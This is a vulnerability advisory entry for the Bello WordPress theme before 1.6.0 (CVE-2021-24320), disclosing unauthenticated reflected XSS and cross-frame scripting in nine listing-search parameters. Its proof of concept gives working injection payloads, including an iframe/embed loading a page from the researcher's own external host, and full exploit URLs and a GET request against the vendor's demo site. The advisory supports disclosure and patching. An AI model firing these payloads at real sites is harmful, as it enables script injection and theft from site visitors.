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Themes Vulnerabilities

Bello < 1.6.0 - Unauthenticated Reflected XSS & XFS

Description

The theme did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site Scripting issues.

Proof of Concept

### -- [ Payloads: ]

[$] 13"-->">'` -- `<!--<img src="--><img src=x onerror=(alert)(`m0ze`);>

[$] <!--><embed src=https://m0ze.ru/payload/xfsii.html><iframe src=https://m0ze.ru/payload/xfsii.html></iframe>


### -- [ PoC | Unauthenticated Reflected XSS & XFS | Listing search query: ]

[!] https://bello.bold-themes.com/main-demo/listing/?listing_list_view=standard13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`listing_list_view`);%3E&bt_bb_listing_field_my_lat=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lat`);%3E&bt_bb_listing_field_my_lng=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lng`);%3E&bt_bb_listing_field_distance_value=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_distance_value`);%3E&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=13&bt_bb_listing_field_keyword=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_keyword`);%3E&bt_bb_listing_field_location_autocomplete=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_location_autocomplete`);%3E&bt_bb_listing_field_category=all&bt_bb_listing_field_price_range_from=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_from`);%3E&bt_bb_listing_field_price_range_to=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_to`);%3E

[!] GET /main-demo/listing/?listing_list_view=standard13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`listing_list_view`);%3E&bt_bb_listing_field_my_lat=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lat`);%3E&bt_bb_listing_field_my_lng=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lng`);%3E&bt_bb_listing_field_distance_value=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_distance_value`);%3E&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=13&bt_bb_listing_field_keyword=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_keyword`);%3E&bt_bb_listing_field_location_autocomplete=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_location_autocomplete`);%3E&bt_bb_listing_field_category=all&bt_bb_listing_field_price_range_from=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_from`);%3E&bt_bb_listing_field_price_range_to=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_to`);%3E HTTP/1.1
Host: bello.bold-themes.com
 

Affects Themes

bello
Fixed in version 1.6.0

References

CVE
CVE-2021-24320
URL
https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

m0ze

Submitter

m0ze

Submitter website
https://m0ze.ru
Submitter twitter
vladm0ze
Verified

Yes

WPVDB ID
6b5b42fd-028a-4405-b027-3266058029bb

Timeline

Publicly Published

2021-05-16 (about 2 years ago)

Added

2021-05-16 (about 2 years ago)

Last Updated

2021-05-17 (about 2 years ago)

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